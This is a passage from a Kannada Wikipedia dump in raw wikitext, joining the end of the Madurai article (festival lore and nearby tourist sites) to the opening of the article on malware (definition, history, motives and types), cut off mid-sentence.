ಹಬ್ಬವಾದ/ಉತ್ಸವವಾದ ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಹಿಂದಿನ ದಿನ ದೇವಾಲಯಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆಂದು ನಂಬಿಕೆ ಇದೆ. ಆತ ತನ್ನ ಪ್ರಯಾಣವನ್ನು ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯವನ್ನು ಹಾದು ಅಲಗರ್‌ ಕೋಯಿಲ್‌ನಿಂದ ಆರಂಭಿಸುತ್ತಾನೆ. ಇದೇ ಸಮಯದಲ್ಲಿ ಆತ ವೈಗೈ ನದಿ ಸಮೀಪದ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದಲ್ಲಿರುವ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಆತ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತಾನು ತಡವಾದೆ ಎಂಬುದನ್ನು ಅರಿತು ನದಿಯನ್ನು ದಾಟಲು ನಿರಾಕರಿಸಿ/ದಾಟದೇ ನಿರಾಶೆಯಿಂದ ಅಲಗರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾನೆ ಎಂಬ ನಂಬಿಕೆ ಇದೆ. ಇಲ್ಲಿಯ ಬೆಟ್ಟಗಳ ಮೇಲೆ [[ಪಜಮುಡಿರ್‌ಚೋಳೈ]] ಎಂಬ ಹೆಸರಿನಿಂದ ಪ್ರಸಿದ್ಧವಾದ ಮುರುಗನ್‌ ದೇವರ ದೇವಾಲಯವಿದೆ. ಈ ದೇವಾಲಯವು ಮುರುಗನ್‌‌ನ ಅರುಪಾದೈ ವೀಡುಗಳಲ್ಲಿ ಕೊನೆಯದಾಗಿದ್ದು ಇಲ್ಲಿ ಆತನನ್ನು ಪತ್ನಿಯರಾದ ದೇವನೈ ಮತ್ತು ವಲ್ಲಿಯರ ಜೊತೆಗೆ ನೋಡಬಹುದು. * [[ಕೊಡೈಕೆನಾಲ್‌]] ಮಧುರೈನಿಂದ ಸುಮಾರು 120 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿ ಭಾರತದಲ್ಲಿನ ಅತ್ಯಂತ ಸುಂದರ ಗಿರಿಧಾಮಗಳಲ್ಲಿ ಒಂದಾದ ಕೊಡೈಕೆನಾಲ್‌/ಕೊಡೈಕನಾಲ್‌ ನಗರವಿದೆ. ಇದನ್ನು ಬೆಟ್ಟಗಳ ರಾಜಕುಮಾರಿ/ರಾಣಿ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ. ಪಶ್ಚಿಮ ಘಟ್ಟಗಳ ಪ್ರದೇಶದಲ್ಲಿ ಸಮುದ್ರ ಮಟ್ಟದಿಂದ 2,130 mಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿ ಕೊಡೈ ನಗರವಿದೆ. * [[ವೈಗೈ ಅಣೆಕಟ್ಟು]] ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 70&nbsp;km ದೂರದಲ್ಲಿ ವೈಗೈ ಅಣೆಕಟ್ಟು ಇದೆ. ವಾರಾಂತ್ಯದಲ್ಲಿ ದೀಪಗಳ ಅಲಂಕಾರದಲ್ಲಿ ಈ ಅಣೆಕಟ್ಟು ಬೆರಗು ಹುಟ್ಟಿದುವಂತಹಾ ದೃಶ್ಯ ವೈಭವ ಹೊಂದಿರುತ್ತದೆ. * [[ರಾಮೇಶ್ವರಂ]] ಪವಿತ್ರ ನಗರವಾದ ರಾಮೇಶ್ವರಂ ದೇವಾಲಯಗಳ ನಗರವಾದ ಮಧುರೈನಿಂದ ಸುಮಾರು 164 ಕಿಲೋಮಿಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * ಸುರುಳಿ ಜಲಪಾತ ಶ್ರೀಮಂತ ಸಸ್ಯರಾಶಿ ಮತ್ತು ಪುಷ್ಪರಾಶಿಗಳ ಮಧ್ಯವಿರುವ ಸುರುಳಿ ಜಲಪಾತವು ಸೂಕ್ತ ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 123 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * [[ಟೇಕ್ಕಡಿ]] / ಕುಮಿಲಿ ಟೇಕ್ಕಡಿಯು ಕೇರಳದ ಇಡುಕ್ಕಿ ಜಿಲ್ಲೆಯ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವು ವಿಶ್ವದ ಅತ್ಯಾಕರ್ಷಕ ನೈಸರ್ಗಿಕ ವನ್ಯಜೀವಿ ಸಂರಕ್ಷಣಾಲಯವಾಗಿದೆ. 360;km²ದಷ್ಟು ದಟ್ಟ ಹಸಿರು ಕಾನನವನ್ನು ಒಳಗೊಂಡಿರುವ 777&nbsp;km²ದಷ್ಟು ವಿಸ್ತಾರವಾದ ಪ್ರದೇಶದಲ್ಲಿ ಹರಡಿರುವ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವನ್ನು ಹುಲಿಗಳ ಅಭಯತಾಣವೆಂದು 1978ರಲ್ಲಿ ಘೋಷಿಸಲಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ 155 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ ಹಾಗೂ ಅನೇಕ ಪ್ರಾಣಿ ಪಕ್ಷಿಗಳಿಗೆ ನೆಲೆಯಾಗಿದೆ. * [[ಕೌಟ್ರಲ್ಲಂ]] (ತಿರುನಲ್ವೇಲಿಯ ಬಳಿ) ಜಲಪಾತಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾದ ಇದು ಮಧುರೈನಿಂದ 160 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. 'ದಕ್ಷಿಣದ ಖನಿಜಜಲ ಚಿಲುಮೆ' ಎಂದು ಹೆಸರಾಗಿರುವ ಈ ಪ್ರದೇಶದಲ್ಲಿ ಅಪಾರವಾದ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯವಿದೆ. == ಇದನ್ನೂ ನೋಡಿರಿ == * [http://view360.in/virtualtour/madurai/ ಮಧುರೈನ '''ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ''' ದ 360 ಡಿಗ್ರಿ ಪರಸ್ಪರ ವರ್ತನೆಯ/ಇಂಟರ್ಯಾಕ್ಟೀವ್‌ ಅವಾಸ್ತವಿಕ ನೋಟ] {{Webarchive|url=https://web.archive.org/web/20091024153603/http://www.view360.in/virtualtour/madurai/ |date=2009-10-24 }} * [[ಮಧುರೈನ ಸಾಫ್ಟ್‌ವೇರ್‌/ತಂತ್ರಾಂಶ ಕಂಪೆನಿಗಳು]] * [[ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )]] * [[ಮಧುರೈ ಜಿಲ್ಲೆ]] * [[ಮಧುರೈ ಉಪಭಾಷೆ]] * [[ಮಧುರೈ ಜಿಲ್ಲೆಯಲ್ಲಿರುವ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಹಾಗೂ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ]] {{Template group |list = {{Hindu holy cities}} {{Municipal corporations of Tamil Nadu}} {{Tamil Nadu}} }} * [http://www.bharatrail.net/ ಭಾರತೀಯ ರೈಲ್ವೆಯ ಪ್ರಯಾಣಿಕರ ವಿಚಾರಣಾ ಸೇವೆ ಭಾರತ್‌ರೈಲ್‌] {{Webarchive|url=https://web.archive.org/web/20091221100303/http://www.bharatrail.net/ |date=2009-12-21 }} == ಉಲ್ಲೇಖಗಳು == {{Commons category}} {{reflist|2}} [[ವರ್ಗ:ಭಾರತದ ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ]] [[ವರ್ಗ:ಹಿಂದೂ ಪವಿತ್ರ ನಗರಗಳು]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ ರೈಲ್ವೇ ವಿಭಾಗ]] [[ವರ್ಗ:ಭಾರತೀಯ ರೈಲ್ವೆಯ ವಿಭಾಗಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ರೈಲ್ವೆ (ಭಾರತ ) ವಲಯ]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು]] ncla9uxte8sietatevf64e56pwx158v ಮಾಲ್‌ವೇರ್ 0 22136 1116501 1116082 2022-08-23T15:25:03Z Akshitha achar 75927 wikitext text/x-wiki '''ಮಾಲ್‌ವೇರ್''' ಎಂಬುದು ''ಮ್ಯಾಲಿಶಿಯಸ್ ಸಾಫ್ಟ್‌ವೇರ್'' ಎಂಬುದರ ಸಂಕ್ಷಿಪ್ತ ರೂಪವಾಗಿದ್ದು, ಇದು ಗಣಕದ ಮಾಲೀಕನ [[ಒಪ್ಪಿಗೆ]] ಇಲ್ಲದೇ ಆತನ ಗಣಕದ ಒಳಗೆ ಕದ್ದು ನುಸುಳುವಂತೆ ಅಥವಾ ಅದಕ್ಕೆ ಹಾನಿಯೆಸಗುವಂತೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿರುವ ಒಂದು [[ತಂತ್ರಾಂಶ]]ವಾಗಿದೆ. ಈ ಪದಗುಚ್ಛವು ಗಣಕ ವೃತ್ತಿನಿರತರು ಹಲವು ಬಗೆಯ ಹಗೆತನದ, ಗೊಂದಲಮಯ, ಅಥವಾ ಪೀಡಕ ತಂತ್ರಾಂಶ ಅಥವಾ ಪ್ರೊಗ್ರಾಮ್ ಕೋಡ್ ಇವುಗಳಿಗೆ ಉಪಯೋಗಿಸುವ ಸಾಮಾನ್ಯ ಹೆಸರಾಗಿದೆ<ref> {{cite web |url=http://technet.microsoft.com/en-us/library/dd632948.aspx |title=Defining Malware: FAQ |publisher=technet.microsoft.com |accessdate=2009-09-10 }} </ref> "[[ಕಂಪ್ಯೂಟರ್ ವೈರಸ್]]" ಎನ್ನುವ ಈ ಶಬ್ಧವನ್ನು ಅನೇಕ ಸಲ ಎಲ್ಲ ಬಗೆಯ ಮಾಲ್‌ವೇರ್ ಅಲ್ಲದೇ ನಿಜವಾದ ವೈರಸ್‌ಗಳನ್ನು ಒಳಗೊಂಡು ಬಳಸಲಾಗುತ್ತದೆ. ಒಂದು ತಂತ್ರಾಂಶವನ್ನು ಅದರ ನಿರ್ಮಾತೃನ ಉದ್ದೇಶವನ್ನು ಅರಿತುಕೊಂಡು ಅದನ್ನು ಮಾಲ್‌ವೇರ್ ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆಯೇ ಹೊರತು ಅದರ ನಿರ್ದಿಷ್ಟ ಲಕ್ಷಣಗಳಿಂದಲ್ಲ. [[ಗಣಕ ವೈರಸ್‌ಗಳು]], [[ವರ್ಮ್‌ಗಳು]], [[ಟ್ರೋಜನ್‌ ಹಾರ್ಸ್‌]]ಗಳು, ಹೆಚ್ಚಿನ [[ರೂಟ್‌ಕಿಟ್‌]]ಗಳು, [[ಸ್ಪೈವೇರ್]]‌, ವಿಶ್ವಾಸಾರ್ಹವಲ್ಲದ [[ಆ‍ಯ್‌ಡ್‌ವೇರ್]]‌, [[ಕ್ರೈಮ್‌ವೇರ್‌]] ಮತ್ತು ಇತರ ದುರಾಗ್ರಹದ ಮತ್ತು ಅನಪೇಕ್ಷಿತ ತಂತ್ರಾಂಶಗಳನ್ನು ಮಾಲ್‌ವೇರ್‌ ಒಳಗೊಂಡಿದೆ. [[ಕಾನೂನಿ]]ನಲ್ಲಿ ಮಾಲ್‌ವೇರ್ ಅನ್ನು ಕೆಲವು ಬಾರಿ ಗಣಕ ಕಲ್ಮಷ ಎಂದು ಅರ್ಥೈಸಲಾಗುತ್ತದೆ. ಉದಾಹರಣೆಗೆ [[ಯುಎಸ್]] ನ [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]] ಮತ್ತು [[ವೆಸ್ಟ್ ವರ್ಜಿನಿಯಾ]]ದಂತಹ ಹಲವು ರಾಜ್ಯಗಳಲ್ಲಿನ ಶಾಸನಾತ್ಮಕ ನಿಯಮಗಳಲ್ಲಿ ಹೀಗೆ ಅರ್ಥೈಸಲಾಗಿದೆ.<ref>ರಾಜ್ಯ ಶಾಸಕಾಂಗಗಳ ರಾಷ್ಟ್ರೀಯ ಸಮಾವೇಶ [http://www.ncsl.org/programs/lis/cip/viruslaws.htm ರಾಜ್ಯದಿಂದ ವೈರಸ್/ಕಶ್ಮಲೀಕರಣ/ವಿನಾಶಕಾರಕ ಪ್ರಸಾರಣೆ ನಿಬಂಧನೆ ] {{Webarchive|url=https://web.archive.org/web/20090528050612/http://www.ncsl.org/programs/lis/cip/viruslaws.htm |date=2009-05-28 }}</ref><ref>jcots.state.va.us/2005%20Content/pdf/Computer%20Contamination%20Bill.pdf [§18.2-152.4:1 Penalty for ಗಣಕ ಕಶ್ಮಲೀಕರಣಕ್ಕೆ ದಂಡನೆ]</ref> ಎಲ್ಲ ಮಾಲ್‌ವೇರ್‍ ಗಳೂ ದೋಷಪೂರ್ಣ ತಂತ್ರಾಂಶವಾಗಬೇಕಾಗಿಲ್ಲ. ಬದಲಿಗೆ ಈ ತಂತ್ರಾಶವು ತರ್ಕಬದ್ಧ ಗುರಿಯನ್ನು ಹೊಂದಿದ್ದು ಹಾನಿಮಾಡುವ [[ಬಗ್ಸ್‌]]ಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ೨೦೦೮ರಲ್ಲಿ ಪ್ರಕಟಿಸಿದ [[ಸಿಮಾಂಟೆಕ್‌]]ನ ಆರಂಭದ ಫಲಿತಾಂಶಗಳು ಹೀಗೆ ಹೇಳುತ್ತವೆ, "ದುರಾಗ್ರಹ ಪೀಡಿತ ಕೋಡ್ ಮತ್ತು ಉಳಿದ ಅನಪೇಕ್ಷಿತ ತಂತ್ರಾಂಶಗಳ ಬಿಡುಗಡೆಯ ಪ್ರಮಾಣವು ಕಾನೂನುಬದ್ಧ ತಂತ್ರಾಂಶಗಳಿಗಿಂತ ಅಧಿಕವಾಗಿದೆ."<ref>{{cite web|title=Symantec Internet Security Threat Report: Trends for July-December 2007 (Executive Summary)|publisher=Symantec Corp.|volume=XIII|page=29|date=April 2008|url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf|format=PDF|accessdate=2008-05-11|archive-date=2008-06-25|archive-url=https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf|url-status=dead}}</ref> [[ಎಫ್-ಸೆಕ್ಯುರ್]] ಪ್ರಕಾರ, "ಕೇವಲ ೨೦೦೭ರಲ್ಲಿ ಸೃಷ್ಟಿಸಿರುವ ಮಾಲ್‌ವೇರ್‌‍ಗಳು ಕಳೆದ ಇಪ್ಪತ್ತು ವರ್ಷಗಳಲ್ಲಿ ಇದ್ದಷ್ಟಿವೆ."<ref>{{cite press release|title=F-Secure Reports Amount of Malware Grew by 100% during 2007|url=http://www.f-secure.com/f-secure/pressroom/news/fs_news_20071204_1_eng.html|date=December 4, 2007|publisher=F-Secure Corporation|accessdate=2007-12-11}}</ref> ಅಪರಾಧಿಗಳಿಂದ ಬಳಕೆದಾರನವರೆಗೆ ಮಾಲ್‌ವೇರ್ ಸಾಗುವುದಕ್ಕೆ ಇರುವ ಹೆದ್ದಾರಿಯೆಂದರೆ ಅದು [[ಅಂತರಜಾಲ]]: ಅದರಲ್ಲಿಯೂ ಇಮೇಲ್ ಮತ್ತು [[ವರ್ಲ್ಡ್ ವೈಡ್ ವೆಬ್]].<ref>{{cite web|title= F-Secure Quarterly Security Wrap-up for the first quarter of 2008|url=http://www.f-secure.com/f-secure/pressroom/news/fsnews_20080331_1_eng.html|publisher=F-Secure|date=March 31, 2008|accessdate=2008-04-25}}</ref> ವಿಸ್ತಾರವಾಗಿ ಹರಡಿರುವ ಅಣಿಗೊಂಡ ಅಂತರಜಾಲ ಸಂಬಂಧಿ ಅಪರಾಧಗಳಿಗೆ ಮಾಲ್‌ವೇರ್ ಮುಖ್ಯ ವಾಹನವಾಗಿ ಬೆಳೆಯುತ್ತಿರುವುದು, ವಿಶಿಷ್ಟವಾದ, ಹೊಸತಾಗಿ ಉತ್ಪಾದಿಸಲಾಗುತ್ತಿರುವ ವೃತ್ತಿಪರವಾದ ಮಾಲ್‌ವೇರ್‌ಗಳ ವಿರುದ್ಧ ರಕ್ಷಣೆ ನೀಡುವಲ್ಲಿ, ಸಾಂಪ್ರದಾಯಿಕ ಮಾಲ್‌ವೇರ್ ರಕ್ಷಣಾ ತಂತ್ರಗಳು ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರದಿರುವುದು, ಅಂತರಜಾಲದಲ್ಲಿ ವ್ಯವಹಾರ ಮಾಡುತ್ತಿರುವವರಿಗಾಗಿ ಹೊಸ ವಿಚಾರವನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳವುದನ್ನು ಅನಿವಾರ್ಯವಾಗಿಸಿದೆ. ಕೆಲ ಪ್ರಮಾಣದ ಅಂತರಜಾಲ ಬಳಕೆದಾರರು ಒಂದು ಅಥವಾ ಇನ್ನೊಂದು ಕಾರಣಗಳಿಂದಾಗಿ ಯಾವಾಗಲೂ ಬಾಧಿತರಾಗಿರುತ್ತಾರೆ ಮತ್ತು ಅವರು ಬಾಧಿತ ಗ್ರಾಹಕರೊಂದಿಗೆ ವ್ಯವಹಾರವನ್ನು ಮುಂದುವರಿಸಬೇಕಾದ ಅಗತ್ಯವಿರುತ್ತದೆ. ಇದರ ಪರಿಣಾಮವಾಗಿ ಗ್ರಾಹಕರ ಗಣಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವ ಮುಂದುವರಿದ ಮಾಲ್‌ವೇರ್‌ಗಳೊಂದಿಗೆ ಸಹಕರಿಸುವ ಮೋಸದ ಚಟುವಟಿಕೆಗಳನ್ನು ಕಂಡು ಹಿಡಿಯುದಕ್ಕೆ ರೂಪಿಸಿದ ಬ್ಯಾಕ್-ಆಫೀಸ್ ಸಿಸ್ಟಮ್‌‌ಗಳಿಗೆ ಹೆಚ್ಚಿನ ಆಧ್ಯತೆ ನೀಡಲಾಗುತ್ತಿದೆ.<ref>{{cite web|title= Continuing Business with Malware Infected Customers|url=http://www.technicalinfo.net/papers/MalwareInfectedCustomers.html|publisher=Gunter Ollmann|date=October 2008}}</ref> == ಉದ್ದೇಶಗಳು == ಹಲವು ಮೊದಲ ಸೋಂಕುಕಾರಕ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು, ಜೊತೆಯಲ್ಲಿ ಮೊದಲ [[ಅಂತರಜಾಲ ವರ್ಮ್]] ಮತ್ತು ಅನೇಕ ಸಂಖ್ಯೆಯಲ್ಲಿನ [[ಎಂಎಸ್-ಡೋಸ್]] [[ವೈರಸ್‌ಗಳು]], ಇವುಗಳನ್ನು ರಚಿಸಲಾಗಿದ್ದೇ ಪ್ರಯೋಗಗಳಾಗಿ ಅಥವಾ ಕುಚೇಷ್ಟೆಯಾಗಿ. ಒಟ್ಟಾರೆಯಲ್ಲಿ ಇವು ತೊಂದರೆಯಿಲ್ಲದ ಅಥವಾ ಕೇವಲ ಕಿರಿಕಿರಿ ಮಾಡುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದ್ದವೇ ಹೊರತು ಗಣಕಗಳಿಗೆ ತೀವ್ರ ನಷ್ಟವನ್ನುಂಟು ಮಾಡುವುದಕ್ಕಾಗಿಯಂತೂ ಅಲ್ಲವೇ ಅಲ್ಲ. ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಇವುಗಳ ತಯಾರಕರಿಗೆ ಇದು ಮಾಡಬಹುದಾದ ಕೆಡುಕಿನ ಅರಿವೇ ಇರುವುದಿಲ್ಲ. ಯುವ [[ಪ್ರೋಗ್ರಾಮರ್‌]]ಗಳು ಈ ವೈರಸ್‌ಗಳು ಮತ್ತು ಅದರ ಕಾರ್ಯತಂತ್ರಗಳ ಬಗ್ಗೆ ಕಲಿಯುತ್ತಿರುವಾಗ ಇವುಗಳು ಯಾವ ಪ್ರಮಾಣದಲ್ಲಿ ಹರಡಬಹುದೆಂಬ ಕೇವಲ ಕುತೂಹಲ ಮಾತ್ರದಿಂದ ಇವನ್ನು ಬರೆದಿದ್ದರು. ೧೯೯೯ರ ನಂತರದ ಹೊತ್ತಿನಲ್ಲಿ, ವ್ಯಾಪಕವಾಗಿ ಹರಡಿದ್ದ [[ಮೆಲಿಸ್ಸಾ ವೈರಸ್‌]]ನ್ನು ಮುಖ್ಯವಾಗಿ ಕುಚೇಷ್ಟೆಯ ಉದ್ದೇಶದಿಂದ ಬರೆಯಲಾಗಿತ್ತು. [[ವಿಧ್ವಂಸಕ ಕೃತ್ಯ]]ಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಹಗೆಯ ಉದ್ದೇಶವನ್ನು ತೊಂದರೆ ಅಥವಾ ಮಾಹಿತಿ ನಷ್ಟ ಮಾಡಲೆಂದು ವಿನ್ಯಾಸಗೊಳಿಸಿದ ತಂತ್ರಾಂಶಗಳಲ್ಲೂ ಕಾಣಬಹುದು. ಅನೇಕ ಡಾಸ್ ವೈರಸ್‌ಗಳು, ಮತ್ತು [[ವಿಂಡೋಸ್]] [[ಎಕ್ಸ್‌ಪ್ಲೋರ್‌ಜಿಪ್]] ವರ್ಮ್, ಇವುಗಳನ್ನು [[ಹಾರ್ಡ್ ಡಿಸ್ಕಿ]]ನಲ್ಲಿರುವ ಕಡತಗಳನ್ನು ನಾಶಪಡಿಸಲೆಂದು ಅಥವಾ ತಪ್ಪಾದ ದತ್ತಾಂಶಗಳನ್ನು ಬರೆದು ಕಡತ ವ್ಯವಸ್ಥೆಯನ್ನು ಹಾಳುಮಾಡಲೆಂದು ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿತ್ತು. ಸಂಪರ್ಕಜಾಲದಿಂದ ಉಗಮವಾದ ವರ್ಮುಗಳು, ಅಂದರೆ ೨೦೦೧ರ [[ಕೋಡ್ ರೆಡ್ ವರ್ಮ್]] ಅಥವಾ [[ರಾಮೆನ್ ವರ್ಮ್‌]]ಗಳು ಇದೇ ವಿಭಾಗಕ್ಕೆ ಸೇರುತ್ತವೆ. ಜಾಲಪುಟಗಳನ್ನು ವಿಧ್ವಂಸಿಸಲೆಂದು ವಿನ್ಯಾಸಗೊಳಿಸಿದ ಈ ವರ್ಮುಗಳು ಆನ್‌ಲೈನ್ ಸಮಾನ ವಸ್ತುವಾದ [[ಗ್ರಾಫಿಟಿ]] ಟ್ಯಾಗಿಂಗ್‌ ಅನ್ನು ಹೋಲುವಂತಿದ್ದು, ಈ ವರ್ಮು ನುಸುಳಿದಲೆಲ್ಲ ರಚನಾಕಾರರ ಉಪನಾಮ ಅಥವಾ ಮೈತ್ರಿ ಕೂಟ ಕಂಡುಬರುತ್ತದೆ. ಹಾಗಿದ್ದರೂ, ವ್ಯಾಪಕವಾಗಿ ಹೆಚ್ಚುತ್ತಿರುವ [[ಬ್ರಾಡ್‌ಬ್ಯಾಂಡ್]] [[ಅಂತರಜಾಲ]] ಪ್ರವೇಶಾಧಿಕಾರದಿಂದ ದುರಾಗ್ರಹ ಪೀಡಿತ ತಂತ್ರಾಂಶಗಳನ್ನು ಲಾಭ ಗಿಟ್ಟಿಸುವ ಉದ್ದೇಶದಿಂದ ಹೆಚ್ಚು ಕಡಿಮೆ [[ಶಾಸನ]]ಬದ್ಧವಾಗಿ(ಒತ್ತಾಯದ ಜಾಹೀರಾತುಗಳು) ಅಥವಾ ದುರುದ್ದೇಶಕ್ಕಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗುತ್ತಿದೆ. ನಿದರ್ಶನಕ್ಕೆ ಹೇಳುವುದಾದರೆ, ೨೦೦೩ರಿಂದ ವ್ಯಾಪಕವಾಗಿ ಹರಡಲ್ಪಟ್ಟ ಹೆಚ್ಚಿನ ವೈರಸ್‌ಗಳ ಮತ್ತು ವರ್ಮಗಳ ವಿನ್ಯಾಸವು ಬಳಕೆದಾರನ ಗಣಕವನ್ನು ನಿಯಂತ್ರಣಕ್ಕೆ ತೆಗೆದುಕೊಂಡು ಕಾಳ ಸಂತೆಯಲ್ಲಿ ತನ್ನ ಸ್ವಂತ ಲಾಭಕ್ಕೆ ಬಳಸಿಕೊಳ್ಳುವಂತಿತ್ತು.{{Citation needed|date=February 2007}} ಸೋಂಕಿನ "[[ಜೊಂಬಿ ಗಣಕ]]ಗಳ"ನ್ನು [[ಇಮೇಲ್ ಸ್ಪ್ಯಾಮ್‌]]ಅನ್ನು ಕಳಿಸಲು, ಕಾಂಟ್ರಾಬ್ಯಾಂಡ್ ದತ್ತಾಂಶಗಳನ್ನು ಹೋಸ್ಟ್ ಮಾಡಲು, ಉದಾಹರಣೆಗೆ [[ಮಕ್ಕಳ ಅಶ್ಲೀಲ ಸಾಹಿತ್ಯ]],<ref>[http://www.pcworld.com/article/id,116841-page,1/article.html ಪಿಸಿ ವರ್ಲ್ಡ್ - ಜೊಂಬಿ ಪಿಸಿಸ್‌: ಸೈಲೆಂಟ್, ಗ್ರೋಯಿಂಗ್ ಥ್ರೇಟ್] {{Webarchive|url=https://web.archive.org/web/20080727001520/http://www.pcworld.com/article/id,116841-page,1/article.html |date=2008-07-27 }}.</ref> ಅಥವಾ [[ಸುಲಿಗೆ]]ಯ ಮಾದರಿಯಲ್ಲಿ [[ವಿತರಿಸಲಾದ-ಸೇವಾ-ನಿರಾಕರಣೆ]]ಯ ದಾಳಿಯಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳುವುದು ಆಗಿದೆ. ಮಾಲ್‌ವೇರ್‌ನ ಇನ್ನೊಂದು ಲಾಭದ ವರ್ಗವಾಗಿ [[ಸ್ಪೈವೇರ್]] ಪ್ರೊಗ್ರಾಮ್‌ಗಳನ್ನು ಬಳಕೆದಾರನ ಅಂತರಜಾಲ ಭೇಟಿ ಇತಿಹಾಸವನ್ನು ಗಮನಿಸುವುದಕ್ಕೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಇದು ಅನಪೇಕ್ಷಿತ ಜಾಹೀರಾತುಗಳನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ, ಅಥವಾ [[ಸಂಬಂಧಿತ ಮಾರುಕಟ್ಟೆ]]ಗೆ ಪುನರ್ ನಿರ್ದೇಶನ ಮಾಡುವ ಮೂಲಕ [[ಸ್ಪೈವೇರ್]] ರಚನೆಕಾರನಿಗೆ ಆದಾಯ ತಂದುಕೊಡುತ್ತವೆ. ಸ್ಪೈವೇರ್ ತಂತ್ರಾಂಶವು ವೈರಸ್‌ಗಳಂತೆ ಹರಡುವುದಿಲ್ಲ: ಇವು ಸಾಮಾನ್ಯವಾಗಿ ಭದ್ರತೆಯಲ್ಲಿಯ ನ್ಯೂನತೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಸ್ಥಾಪಿತವಾಗಿರುತ್ತವೆ ಅಥವಾ ಇವು ಬಳಕೆದಾರ ಸ್ಥಾಪಿಸಿದ ತಂತ್ರಾಶಗಳ ಜೊತೆ ಸೇರಿರುತ್ತವೆ. ಉದಾಹರಣೆಗೆ ಪಿಯರ್-ಟು-ಪಿಯರ್ ಅಪ್ಲಿಕೇಶನ್‌ಗಳು. == ಪೀಡಕ ಮಾಲ್‌ವೇರ್‌: ವೈರಸ್‌ಗಳು ಮತ್ತು ವರ್ಮುಗಳು == {{Main|Computer virus|Computer worm}} ಹೆಚ್ಚು ಗೊತ್ತಿರುವ ಮಾಲ್‌ವೇರ್ ಬಗೆಗಳೆಂದರೆ ''ವೈರಸ್‌ಗಳು'' ಮತ್ತು ''ವರ್ಮು'' ಗಳು. ಇವುಗಳನ್ನು ಇವು ಹರಡುವ ರೀತಿಯ ಮೇಲೆ ಗುರುತಿಸಲಾಗುತ್ತದೆಯೇ ಹೊರತು ಅವುಗಳ ನಡವಳಿಕೆಯಿಂದಲ್ಲ. ''[[ಕಂಪ್ಯೂಟರ್ ವೈರಸ್]]'' ಎನ್ನುವ ಹೆಸರನ್ನು ಆ ತಂತ್ರಾಂಶಕ್ಕೆ ಬಳಸಲಾಗುತ್ತದೆ, ಯಾವುದರಿಂದ ಕಾರ್ಯಗತಗೊಳಿಸಬಲ್ಲ ತಂತ್ರಾಂಶದಲ್ಲಿ ಸೋಂಕು ಉಂಟು ಮಾಡಬಹುದೊ ಮತ್ತು ಅದರಿಂದಾಗಿ ಆ ತಂತ್ರಾಂಶವು ''ಸಕ್ರಿಯ'' ವಾದಾಗ, ವೈರಸ್‌ ಅನ್ನು ಉಳಿದ ಕಾರ್ಯಗತಗೊಳಿಸಬಲ್ಲ ತಂತ್ರಾಂಶಗಳಿಗೂ ಹರಡಬಲ್ಲದು. ವೈರಸ್‌ಗಳು [[ಪೇಲೋಡ್]] ಅನ್ನು ಹೊಂದಿರಬಹುದು. ಅವು ದುರಾಗ್ರಹವನ್ನು ಹೊಂದಿರುವ ಕಾರ್ಯಗಳನ್ನು 